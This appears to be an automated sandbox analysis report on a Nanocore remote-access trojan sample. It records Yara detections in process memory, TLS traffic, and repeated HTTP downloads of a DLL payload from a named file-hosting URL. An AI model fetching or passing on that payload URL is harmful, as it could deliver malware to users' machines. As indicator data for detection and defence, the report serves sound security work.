Source: dhcpmon.exe, dhcpmon.exe, 0000000F.00000002.376261965.0000000000A02000.00000002.00020000.sdmp, FYrMKmDjFi.exe	String found in binary or memory: https://store2.gofile.io/download/6f4c6241-0142-4b69-a781-3b6b1e13dbb5/Dlbylzwmcmem.dll

Source: unknown

DNS traffic detected: queries for: store2.gofile.io

Source: global traffic	HTTP traffic detected: GET /download/6f4c6241-0142-4b69-a781-3b6b1e13dbb5/Dlbylzwmcmem.dll HTTP/1.1Host: store2.gofile.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/6f4c6241-0142-4b69-a781-3b6b1e13dbb5/Dlbylzwmcmem.dll HTTP/1.1Host: store2.gofile.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/6f4c6241-0142-4b69-a781-3b6b1e13dbb5/Dlbylzwmcmem.dll HTTP/1.1Host: store2.gofile.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/6f4c6241-0142-4b69-a781-3b6b1e13dbb5/Dlbylzwmcmem.dll HTTP/1.1Host: store2.gofile.ioConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 31.14.69.10:443 -> 192.168.2.3:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.69.10:443 -> 192.168.2.3:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.69.10:443 -> 192.168.2.3:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.69.10:443 -> 192.168.2.3:49752 version: TLS 1.2

Source: dhcpmon.exe, 0000000A.00000002.340745384.00000000011F8000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: FYrMKmDjFi.exe, 00000004.00000002.564355540.0000000003F39000.00000004.00000001.sdmp

Binary or memory string: RegisterRawInputDevices

E-Banking Fraud:

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 0.2.FYrMKmDjFi.exe.3dfce00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.dhcpmon.exe.3f8df50.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3cf4bed.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FYrMKmDjFi.exe.3dfce00.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f84bed.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.FYrMKmDjFi.exe.371d858.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.FYrMKmDjFi.exe.371d858.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.FYrMKmDjFi.exe.38a1988.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3efb78e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f7b78e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f805c4.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3cf05c4.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.5860000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3ceb78e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41e4bed.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.dhcpmon.exe.3b20108.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41e05c4.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f805c4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41e05c4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.5860000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3cf05c4.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.dhcpmon.exe.3f8df50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.5864629.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.dhcpmon.exe.4112080.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41db78e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.FYrMKmDjFi.exe.3f80f30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3f005c4.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.dhcpmon.exe.3b20108.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.dhcpmon.exe.3b22fb8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3f005c4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3f04bed.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.358733206.000000000399C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.376193439.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.339345544.000000000371D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.559219526.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.308296002.0000000003C99000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.308727184.0000000003DFC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.353322483.0000000003AF8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.357019019.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.341983830.0000000003E29000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.377764410.0000000003CA9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.359270670.0000000003EB9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.342288070.0000000003F8D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.563611472.0000000002F31000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.332140109.000000000387A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.564355540.0000000003F39000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.357888329.0000000003839000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.353412885.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.336697270.00000000040EA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.304968970.0000000003F59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.567502998.0000000005860000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.354909333.0000000004199000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.358914418.0000000002EB1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.338511027.00000000035B9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.377395934.0000000002CA1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.354775896.0000000003191000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 6504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 4324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 6816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 6916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 4700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 5656, type: MEMORYSTR

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 0.2.FYrMKmDjFi.exe.3dfce00.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.2.FYrMKmDjFi.exe.3dfce00.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0.2.FYrMKmDjFi.exe.2d83754.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.2.FYrMKmDjFi.exe.2d83754.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 10.2.dhcpmon.exe.3f8df50.3.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 10.2.dhcpmon.exe.3f8df50.3.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 15.2.dhcpmon.exe.3cf4bed.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.2.FYrMKmDjFi.exe.3dfce00.3.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.2.FYrMKmDjFi.exe.3dfce00.3.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 4.2.FYrMKmDjFi.exe.3f84bed.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 9.2.FYrMKmDjFi.exe.371d858.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 9.2.FYrMKmDjFi.exe.371d858.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 9.2.FYrMKmDjFi.exe.371d858.2.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 9.2.FYrMKmDjFi.exe.371d858.2.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 9.3.FYrMKmDjFi.exe.38a1988.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 9.3.FYrMKmDjFi.exe.38a1988.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 14.2.dhcpmon.exe.3efb78e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 14.2.dhcpmon.exe.3efb78e.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 4.2.FYrMKmDjFi.exe.3f7b78e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 4.2.FYrMKmDjFi.exe.3f7b78e.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 10.2.dhcpmon.exe.2f14ff4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 10.2.dhcpmon.exe.2f14ff4.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 15.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 15.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 14.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 14.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 4.2.FYrMKmDjFi.exe.56f0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 4.2.FYrMKmDjFi.exe.3f805c4.4.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 13.2.dhcpmon.exe.292248c.1.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 13.2.dhcpmon.exe.292248c.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 15.2.dhcpmon.exe.3cf05c4.5.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 15.2.dhcpmon.exe.2d09620.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 4.2.FYrMKmDjFi.exe.5860000.8.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 15.2.dhcpmon.exe.3ceb78e.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 15.2.dhcpmon.exe.3ceb78e.4.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.2.FYrMKmDjFi.exe.41e4bed.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.2.FYrMKmDjFi.exe.2d83754.1.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.2.FYrMKmDjFi.exe.2d83754.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 13.3.dhcpmon.exe.3b20108.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 13.3.dhcpmon.exe.3b20108.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 13.2.dhcpmon.exe.292248c.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 13.2.dhcpmon.exe.292248c.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.2.FYrMKmDjFi.exe.41e05c4.4.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 4.2.FYrMKmDjFi.exe.3f805c4.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.FYrMKmDjFi.exe.41e05c4.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 4.2.FYrMKmDjFi.exe.5860000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 15.2.dhcpmon.exe.3cf05c4.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 10.2.dhcpmon.exe.3f8df50.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 10.2.dhcpmon.exe.3f8df50.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 4.2.FYrMKmDjFi.exe.5864629.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 10.2.dhcpmon.exe.2f14ff4.1.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 10.2.dhcpmon.exe.2f14ff4.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 9.2.FYrMKmDjFi.exe.26a479c.1.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 9.2.FYrMKmDjFi.exe.26a479c.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 4.2.FYrMKmDjFi.exe.2f5cd28.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 10.3.dhcpmon.exe.4112080.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 10.3.dhcpmon.exe.4112080.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.2.FYrMKmDjFi.exe.41db78e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.FYrMKmDjFi.exe.41db78e.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0.3.FYrMKmDjFi.exe.3f80f30.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.3.FYrMKmDjFi.exe.3f80f30.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 9.2.FYrMKmDjFi.exe.26a479c.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 9.2.FYrMKmDjFi.exe.26a479c.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 14.2.dhcpmon.exe.3f005c4.4.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 13.3.dhcpmon.exe.3b20108.1.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 13.3.dhcpmon.exe.3b20108.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 14.2.dhcpmon.exe.2f19620.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 13.3.dhcpmon.exe.3b22fb8.0.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 13.3.dhcpmon.exe.3b22fb8.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.2.FYrMKmDjFi.exe.31f9668.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 14.2.dhcpmon.exe.3f005c4.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 14.2.dhcpmon.exe.3f04bed.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000D.00000002.358733206.000000000399C000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000D.00000002.358733206.000000000399C000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000F.00000002.376193439.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000F.00000002.376193439.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000009.00000002.339345544.000000000371D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000009.00000002.339345544.000000000371D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000004.00000002.559219526.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000004.00000002.559219526.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000000.00000002.308296002.0000000003C99000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000002.308296002.0000000003C99000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000000.00000002.308727184.0000000003DFC000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000002.308727184.0000000003DFC000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000D.00000003.353322483.0000000003AF8000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000D.00000003.353322483.0000000003AF8000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000000.00000002.307988871.0000000002CEE000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000002.307988871.0000000002CEE000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000E.00000002.357019019.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000E.00000002.357019019.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000A.00000002.341983830.0000000003E29000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000A.00000002.341983830.0000000003E29000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000F.00000002.377764410.0000000003CA9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000E.00000002.359270670.0000000003EB9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000A.00000002.342288070.0000000003F8D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000A.00000002.342288070.0000000003F8D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000A.00000002.341870208.0000000002EBA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000A.00000002.341870208.0000000002EBA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000009.00000003.332140109.000000000387A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000009.00000003.332140109.000000000387A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000004.00000002.567450851.00000000056F0000.00000004.00020000.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000004.00000002.564355540.0000000003F39000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000D.00000002.357888329.0000000003839000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000D.00000002.357888329.0000000003839000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000D.00000002.357475448.00000000028AA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000D.00000002.357475448.00000000028AA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000C.00000002.353412885.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000C.00000002.353412885.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000A.00000003.336697270.00000000040EA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000A.00000003.336697270.00000000040EA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000000.00000003.304968970.0000000003F59000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000003.304968970.0000000003F59000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000009.00000002.338337691.000000000263C000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000009.00000002.338337691.000000000263C000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000004.00000002.567502998.0000000005860000.00000004.00020000.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000C.00000002.354909333.0000000004199000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000E.00000002.358914418.0000000002EB1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000009.00000002.338511027.00000000035B9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000009.00000002.338511027.00000000035B9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000F.00000002.377395934.0000000002CA1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000C.00000002.354775896.0000000003191000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: FYrMKmDjFi.exe PID: 6504, type: MEMORYSTR	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: FYrMKmDjFi.exe PID: 6504, type: MEMORYSTR	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: FYrMKmDjFi.exe PID: 4324, type: MEMORYSTR	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: FYrMKmDjFi.exe PID: 4324, type: MEMORYSTR	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: FYrMKmDjFi.exe PID: 6112, type: MEMORYSTR	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: FYrMKmDjFi.exe PID: 6112, type: MEMORYSTR	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: dhcpmon.exe PID: 6664, type: MEMORYSTR	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: dhcpmon.exe PID: 6664, type: MEMORYSTR	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: FYrMKmDjFi.exe PID: 6816, type: MEMORYSTR	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
